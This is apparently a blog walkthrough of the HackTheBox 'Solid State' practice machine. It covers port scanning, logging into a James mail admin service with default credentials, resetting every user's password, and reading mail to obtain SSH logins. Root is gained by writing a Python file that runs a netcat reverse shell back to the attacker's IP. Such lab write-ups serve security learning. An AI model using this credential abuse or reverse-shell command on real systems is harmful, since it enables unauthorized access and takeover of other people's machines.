HackTheBox Solid State: 1 Walkthrough

Lab Environment


Attacker’s Machine : Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux


Vulnerable Machine : Solid State: 1


Let’s start hacking and breach the security of this machine


Scanning Phase : Let’s start with knowing our attacking machine’s ip
        Syntax used : ifconfig
                Results : 192.168.146.131


Now let’s scan our local network to which attacking machine and vulnerable machine is connected.
      Syntax used : arp-scan --local
                  Victim machine : 192.168.146.133


Enumeration Phase : Now using nmap to scan the services running on ports .
    Syntax used : nmap -A 192.168.146.133 -p- --open -Pn
     Results : http service is active on port 80 , pop3 is active on port 110
and james admin on port 4555


Now browsing ip in desired browser to see the webpage on port 80




Now trying to connect to port 4555 using telnet
Syntax used: telnet 192.168.146.133 4555
Results : i got prompt to provide login id


Note: above image shows that it is james remote admin which is asking for login id .
So , I tried google and got one exploit of james remote admin .


In code I found default login credentials of james remote admin.
Default credentials : user = root and pwd = root


Now providing the credentials in prompt , I got something useful .
I have used telnet commands in this .

Command : listusers
Command : setpassword username password
Explanation :  setpassword > to set the new pass
Username : of which the pass is to be changed
Password : new password

So i changed passwords for all the users to ‘paras’


Now , trying to connect with pop3 using telnet
Syntax used : telnet 192.168.146.133 110
Results : I got connected and used telnet commands to enter as a mindy
Commands used: user mindy
       Pass paras
       Retr 2 (to retrieve all the data)



Now with above creds trying to login in ssh
Syntax used : ssh mindy@192.168.146.133
Pass for mindy : P@55W0rd1!2@
Results : low privileged shell and user flag

Now making our own python code and storing it into tmp.py of victim machine
and simultaneously fired up netcat to listen on port 9999 which is used in script .
Again login in ssh with the following command
Ssh mindy@192.168.146.133 ‘export TERM=xterm python -c ‘import pty; pty.spawn(“/bin/bash”)’


And after that execute with netcat in running state simultaneously.


echo ‘import os; os.system(“/bin/nc 192.168.146.131 9999 -e /bin/bash”)’ > /opt/tmp.py


Results : root flag

Popular posts from this blog

Calculat3 M3 | CTF Learn

TryHackme: Blue Walkthrough

CTF - Dina : 1.0.1 walkthrough